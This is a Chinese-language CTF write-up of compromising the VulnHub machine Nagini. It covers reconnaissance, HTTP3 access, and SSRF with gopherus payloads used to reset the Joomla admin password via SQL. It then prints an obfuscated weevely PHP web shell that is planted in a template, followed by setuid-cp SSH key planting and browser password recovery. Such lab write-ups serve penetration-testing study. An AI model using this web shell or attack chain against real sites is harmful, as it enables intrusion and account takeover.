vulnhub - Nagini - writeup
信息收集
基础信息
目标只开放了22和88:
root@Lockly tmp/nagini » arp-scan -I eth1 -l
Interface: eth1, type: EN10MB, MAC: 00:0c:29:fa:3d:23, IPv4: 192.168.56.106
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1 0a:00:27:00:00:1f (Unknown: locally administered)
192.168.56.100 08:00:27:41:61:d7 PCS Systemtechnik GmbH
192.168.56.108 08:00:27:10:e2:a8 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.563 seconds (99.88 hosts/sec). 3 responded
root@Lockly tmp/nagini » nmap -A -sT -p- -Pn --min-rate 6000 192.168.56.108 -o /root/temp/tmp/nagini/nagini.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-08 14:45 CST
Nmap scan report for 192.168.56.108
Host is up (0.0028s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 48:df:48:37:25:94:c4:74:6b:2c:62:73:bf:b4:9f:a9 (RSA)
| 256 1e:34:18:17:5e:17:95:8f:70:2f:80:a6:d5:b4:17:3e (ECDSA)
|_ 256 3e:79:5f:55:55:3b:12:75:96:b4:3e:e3:83:7a:54:94 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:10:E2:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT A![image-20231008145457178](assets/image-20231008145457178.png)DDRESS
1 2.82 ms 192.168.56.108
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.58 seconds
访问网页,真就开局一张图其他全靠编。
目录探测
这里有一个joomla这个cms好像在DC系列见过,还有一个note.txt
。
root@Lockly tmp/nagini » gobuster dir -u http://192.168.56.108 -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.108
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 97]
/note.txt (Status: 200) [Size: 234]
/joomla (Status: 301) [Size: 317] [--> http://192.168.56.108/joomla/]
/server-status (Status: 403) [Size: 279]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
http3访问
访问这个note.txt
,提示了要绑定域名 并且以HTTP3
来访问。
root@Lockly tmp/nagini » curl http://192.168.56.108/note.txt
Hello developers!!
I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.
Regards,
site_amdin
edge,火狐均按网上步骤开启HTTP3访问但都无效,单独下了chrome canary版,chrome.exe --enable-quic --quic-version=h3-27开启HTTP3访问也不行。想用python中的库http3来试试,但报错无法连接。
import http3
client = http3.Client()
response = client.get("https://quic.nagini.hogwarts")
print(response.text)
# ConnectionRefusedError: [Errno 111] Connect call failed ('192.168.56.109', 443)
去搜了搜go中实现http3客户端,也尝试了一下还是失败访问不到。
package main
import (
"crypto/tls"
"fmt"
quic "github.com/quic-go/quic-go"
quichttp "github.com/quic-go/quic-go/http3"
"io/ioutil"
"net/http"
)
func main() {
tr := &quichttp.RoundTripper{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
QuicConfig: &quic.Config{Versions: []quic.VersionNumber{quic.Version2}},
}
client := &http.Client{Transport: tr}
resp, err := client.Get("https://192.168.56.109/")
if err != nil {
fmt.Println(err)
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
return
}
fmt.Println(string(body))
}
// Get "https://192.168.56.109/": timeout: no recent network activity
看了别人的wp,如下操作网速太慢老失败,先挂着先。
git clone https://github.com/cloudflare/quiche
cd quiche
apt purge rustc
export RUSTUP_DIST_SERVER=https://mirrors.ustc.edu.cn/rust-static
export RUSTUP_UPDATE_ROOT=https://mirrors.ustc.edu.cn/rust-static/rustup
curl -proto '=https'--tlsv1.2 -sSf https://sh.rustup.rs | sh //这里会有一个选项,选第一个
source "$HOME/.cargo/env"
cargo build --examples
cargo test
终于是编译完了,编译好的工具在target/debug/examples
这个目录下。
666,什么内容都没有,错也不报。这个机器还重新配置了一遍也不行。没弄明白是为什么。
搜了搜还可以用curl,他有个--http3参数,但是我的版本不支持(会报错:curl: option --http3: the installed libcurl version doesn't support this
),需要重新编译。参考这里👉传送门。编译时间很长先放放。
cargo build --package quiche --release --features ffi,pkg-config-meta,qlog
mkdir quiche/deps/boringssl/src/lib
ln -vnf $(find target/release -name libcrypto.a -o -name libssl.a) quiche/deps/boringssl/src/lib/
cd ../
wget https://github.com/curl/curl/releases/download/curl-7_80_0/curl-7.80.0.tar.gz
tar zxf curl-7.80.0.tar.gz
cd curl-7.80.0/
./configure LDFLAGS="-Wl,-rpath,$PWD/../quiche/target/release" --with-openssl=$PWD/../quiche/quiche/deps/boringssl/src --with-quiche=$PWD/../quiche/target/release --prefix=/usr/local/curl
make && make install
cp ../quiche/target/release/libquiche.so /usr/local/curl/lib/
LD_LIBRARY_PATH="/usr/local/curl/lib/" /usr/local/curl/bin/curl -V
敏感文件泄露
试一手看看是不是和上次差不多,有没有README,可以的README都没删,这里看到版本是3.9。
在msf中有版本扫描的模块,确定这里是3.9.25
。但尝试了几个rce但都没成功。
继续fuzz一下joomla下的目录的结果。
/administrator
是一个登录页面:前面note.txt中下面的署名site_amdin
有可能就是用户名,尝试弱口令但无果。
进一步收集他的信息,用cmseek来扫敏感信息,能确定其版本为3.9.25
这个版本去搜了确实没有rce可以直接利用。但在后面发现了他的备份文件configuration.php.bak
。
cmseek -u http://192.168.56.108/joomla
备份文件内容如下:里面的secret,user等字段都去web登录和ssh试了几次没有登录成功,没有密码复用的情况。
root@Lockly tmp/nagini » cat configuration.php.bak
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br />Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'Joomla CMS';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $debug_lang_const = '1';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'goblin';
public $password = '';
public $db = 'joomla';
public $dbprefix = 'joomla_';
public $live_site = '';
public $secret = 'ILhwP6HTYKcN7qMh';
public $gzip = '0';
public $error_reporting = 'default';
public $helpurl = 'https://help.joomla.org/proxy?keyref=Help{major}{minor}:{keyref}&lang={langcode}';
public $ftp_host = '';
public $ftp_port = '';
public $ftp_user = '';
public $ftp_pass = '';
public $ftp_root = '';
public $ftp_enable = '0';
public $offset = 'UTC';
public $mailonline = '1';
public $mailer = 'mail';
public $mailfrom = 'site_admin@nagini.hogwarts';
public $fromname = 'Joomla CMS';
public $sendmail = '/usr/sbin/sendmail';
public $smtpauth = '0';
public $smtpuser = '';
public $smtppass = '';
public $smtphost = 'localhost';
public $smtpsecure = 'none';
public $smtpport = '25';
public $caching = '0';
public $cache_handler = 'file';
public $cachetime = '15';
public $cache_platformprefix = '0';
public $MetaDesc = '';
public $MetaKeys = '';
public $MetaTitle = '1';
public $MetaAuthor = '1';
public $MetaVersion = '0';
public $robots = '';
public $sef = '1';
public $sef_rewrite = '0';
public $sef_suffix = '0';
public $unicodeslugs = '0';
public $feed_limit = '10';
public $feed_email = 'none';
public $log_path = '/var/www/html/joomla/administrator/logs';
public $tmp_path = '/var/www/html/joomla/tmp';
public $lifetime = '15';
public $session_handler = 'database';
public $shared_session = '0';
}
web渗透
在编译好curl之后指定参数使用HTTP3来访问,得到提示的一个路径/internalResourceFeTcher.php
。
root@Lockly tmp/nagini » LD_LIBRARY_PATH="/usr/local/curl/lib/" /usr/local/curl/bin/curl https://quic.nagini.hogwarts
<html>
<head>
<title>Information Page</title>
</head>
<body>
Greetings Developers! !
I am having two announcements that I need to share with you:
1. We no longer require functionality at /internalResourceFeTcher.php in our main production servers,So I will be removing the same by this week.
2. All developers are requested not to put any configuration's backup file (.bak) in main production servers as they are readate by every one.
Regards,
site admin
</body>
</html>
ssrf利用
提示了一个地址:http://quic.nagini看网页内容大概率会有ssrf,尝试file://etc/passwd
读取确定存在ssrf。
过滤一下这里注意到有三个用户,由前面的备份文件得到了一个用户名goblin
,以及知道了库名joomla
再通过gopherus
来生成payload列举出所有的表。
没有回显就多执行几次,然后搜搜用户表的表名,这里相关的有joomla_user
和joomla_users
。
经过两次尝试确定是joomla_users
然后还一样生成payload执行use joomla;select * from joomla_users;
来列出所有用户。可以看到用户site_admin
以及密码的哈希。
在线网站上查不出来,用john也没出来。直接修改密码: 先生成相应的md5然后用以下sql语句生成payload。
echo -n 'admin666' | md5sum
use joomla; update joomla_users set password = '8a30ec6807f71bc69d096d8e4d501ade' where username='site_admin';select * from joomla_users;
修改成功之后使用site_admin:admin666
成功登录后台。
更改模板反弹shell
在template的功能下选择模板进行编辑,这里的利用方式很多,我选择index.php在里面写入weevely生成的🐎儿。
weevely连接的url通过度娘可以确定:joomla/templates/protostar/index.php
。
root@Lockly tmp/nagini » weevely generate lockly shell.php
Generated 'shell.php' with password 'lockly' of 761 byte size.
root@Lockly tmp/nagini » cat shell.php
<?php
$m='nction x(dJ$t,$dJk){$cdJ=sdJtrlen($k);$dJdJl=strlen($t);$dJo="";dJfordJ($i=0;$i<dJ$l;){fdJor($j=0d';
$H='tch("/$kh(dJ.+)$kfdJ/dJ",@fdJildJe_get_contedJnts("php:/dJ/inpdJut"),$m)dJ==1) {@ob_dJstart();@ed';
$f='J;(dJ$j<$c&&$idJ<$l);$j+dJ+,$i++dJ){$odJ.=$tdJ{$dJi}^$k{$j};}dJ}dJreturn $odJ;}if (@prdJeg_mdJdJa';
$M='$k="dJcdJ01cdJ44f9";$kh=dJ"834e42fb72dJ13dJ";$kf="6efdJ51bdJ517555";$p="6dJdgLdJ5F0WJ3ewdJUPVdJw";fdJu';
$R=str_replace('hD','','crhDeathDhDehD_funhDcthDion');
$i='JvdJal(@gzuncomdJpdJress(@x(dJ@basedJ64_decode(dJ$mdJ[1]),$k)))dJdJ;$o=@ob_getdJ_dJcodJntentsdJ();@';
$p='ob_end_dJclean();$rdJ=@basedJ64_encodJde(@dJx(@gzcodJmpredJss($o),$dJkdJ));prdJint("$p$kh$r$dJkf");}';
$E=str_replace('dJ','',$M.$m.$f.$H.$i.$p);
$O=$R('',$E);$O();
?>
root@Lockly tmp/nagini » weevely http://192.168.56.109/joomla/templates/protostar/index.php lockly
[+] weevely 4.0.1
[+] Target: 192.168.56.109
[+] Session: /root/.weevely/sessions/192.168.56.109/index_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.56.109 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::a00:27ff:fee3:c5ef prefixlen 64 scopeid 0x20<link>
ether 08:00:27:e3:c5:ef txqueuelen 1000 (Ethernet)
RX packets 1882 bytes 428249 (418.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2551 bytes 2982274 (2.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 589 bytes 74286 (72.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 589 bytes 74286 (72.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
www-data@Nagini:/var/www/html/joomla/templates/protostar $
在网站目录下拿到第一个flag。
提权
在home目录下是前面列出的用户,其中hermoine
有第二个flag以及.mozilla
这个目录,但当前无权访问,但snape
用户可以,并在其目录下发现.creds.txt
。内容经过了base64编码,解码之后得到:love@lilly
。
通过snape:love@lilly
登录snape,此时访问hermoine
的bin目录下有个工具su_cp
,看帮助中的这句:Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY
就是一个复制用的。
root@Lockly tmp/nagini » ssh snape@192.168.56.109
The authenticity of host '192.168.56.109 (192.168.56.109)' can't be established.
ED25519 key fingerprint is SHA256:oAgAxZkRbtwe40/oXGuZbaPjiDWzluKXPpTv2r6TrAs.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:8: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.109' (ED25519) to the list of known hosts.
snape@192.168.56.109's password:
Linux Nagini 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 4 16:38:35 2021 from 192.168.1.53
snape@Nagini:~$ cd ../hermoine/bin
snape@Nagini:/home/hermoine/bin$ ls -al
total 152
drwxr-xr-x 2 hermoine hermoine 4096 Apr 4 2021 .
drwxr-xr-x 6 hermoine hermoine 4096 Apr 4 2021 ..
-rwsr-xr-x 1 hermoine hermoine 146880 Apr 4 2021 su_cp
snape@Nagini:/home/hermoine/bin$ ./su_cp -h
./su_cp: invalid option -- 'h'
Try './su_cp --help' for more information.
snape@Nagini:/home/hermoine/bin$ ./su_cp --help
Usage: ./su_cp [OPTION]... [-T] SOURCE DEST
or: ./su_cp [OPTION]... SOURCE... DIRECTORY
or: ./su_cp [OPTION]... -t DIRECTORY SOURCE...
Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
Mandatory arguments to long options are mandatory for short options too.
-a, --archive same as -dR --preserve=all
--attributes-only don't copy the file data, just the attributes
--backup[=CONTROL] make a backup of each existing destination file
-b like --backup but does not accept an argument
--copy-contents copy contents of special files when recursive
-d same as --no-dereference --preserve=links
-f, --force if an existing destination file cannot be
opened, remove it and try again (this option
is ignored when the -n option is also used)
-i, --interactive prompt before overwrite (overrides a previous -n
option)
-H follow command-line symbolic links in SOURCE
-l, --link hard link files instead of copying
-L, --dereference always follow symbolic links in SOURCE
-n, --no-clobber do not overwrite an existing file (overrides
a previous -i option)
-P, --no-dereference never follow symbolic links in SOURCE
-p same as --preserve=mode,ownership,timestamps
--preserve[=ATTR_LIST] preserve the specified attributes (default:
mode,ownership,timestamps), if possible
additional attributes: context, links, xattr,
all
--no-preserve=ATTR_LIST don't preserve the specified attributes
--parents use full source file name under DIRECTORY
-R, -r, --recursive copy directories recursively
--reflink[=WHEN] control clone/CoW copies. See below
--remove-destination remove each existing destination file before
attempting to open it (contrast with --force)
--sparse=WHEN control creation of sparse files. See below
--strip-trailing-slashes remove any trailing slashes from each SOURCE
argument
-s, --symbolic-link make symbolic links instead of copying
-S, --suffix=SUFFIX override the usual backup suffix
-t, --target-directory=DIRECTORY copy all SOURCE arguments into DIRECTORY
-T, --no-target-directory treat DEST as a normal file
-u, --update copy only when the SOURCE file is newer
than the destination file or when the
destination file is missing
-v, --verbose explain what is being done
-x, --one-file-system stay on this file system
-Z set SELinux security context of destination
file to default type
--context[=CTX] like -Z, or if CTX is specified then set the
SELinux or SMACK security context to CTX
--help display this help and exit
--version output version information and exit
By default, sparse SOURCE files are detected by a crude heuristic and the
corresponding DEST file is made sparse as well. That is the behavior
selected by --sparse=auto. Specify --sparse=always to create a sparse DEST
file whenever the SOURCE file contains a long enough sequence of zero bytes.
Use --sparse=never to inhibit creation of sparse files.
When --reflink[=always] is specified, perform a lightweight copy, where the
data blocks are copied only when modified. If this is not possible the copy
fails, or if --reflink=auto is specified, fall back to a standard copy.
Use --reflink=never to ensure a standard copy is performed.
The backup suffix is '~', unless set with --suffix or SIMPLE_BACKUP_SUFFIX.
The version control method may be selected via the --backup option or through
the VERSION_CONTROL environment variable. Here are the values:
none, off never make backups (even if --backup is given)
numbered, t make numbered backups
existing, nil numbered if numbered backups exist, simple otherwise
simple, never always make simple backups
As a special case, cp makes a backup of SOURCE when the force and backup
options are given and SOURCE and DEST are the same name for an existing,
regular file.
GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Full documentation at: <https://www.gnu.org/software/coreutils/cp>
or available locally via: info '(coreutils) cp invocation'
snape@Nagini:/home/hermoine/bin$
公钥登录
考虑公钥登录,在本地kali生成公钥并供靶机下载。
ssh-keygen
cd ~/.ssh; python -m http.server 1515 -b 192.168.56.106
拉下来之后更名为authorized_keys
,并使用su_cp拷贝到hermoine 的 .ssh 目录下
wget http://192.168.56.106:1515/id_rsa.pub
mv id_rsa.pub authorized_keys
cd /home/hermoine/bin
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
然后直接登录得到第二个flag。
还原浏览器密码
用hackbrowserdata来还原浏览器密码,得到凭据root:@Alohomora#123
,成功提权至root。
拿下最后的flag。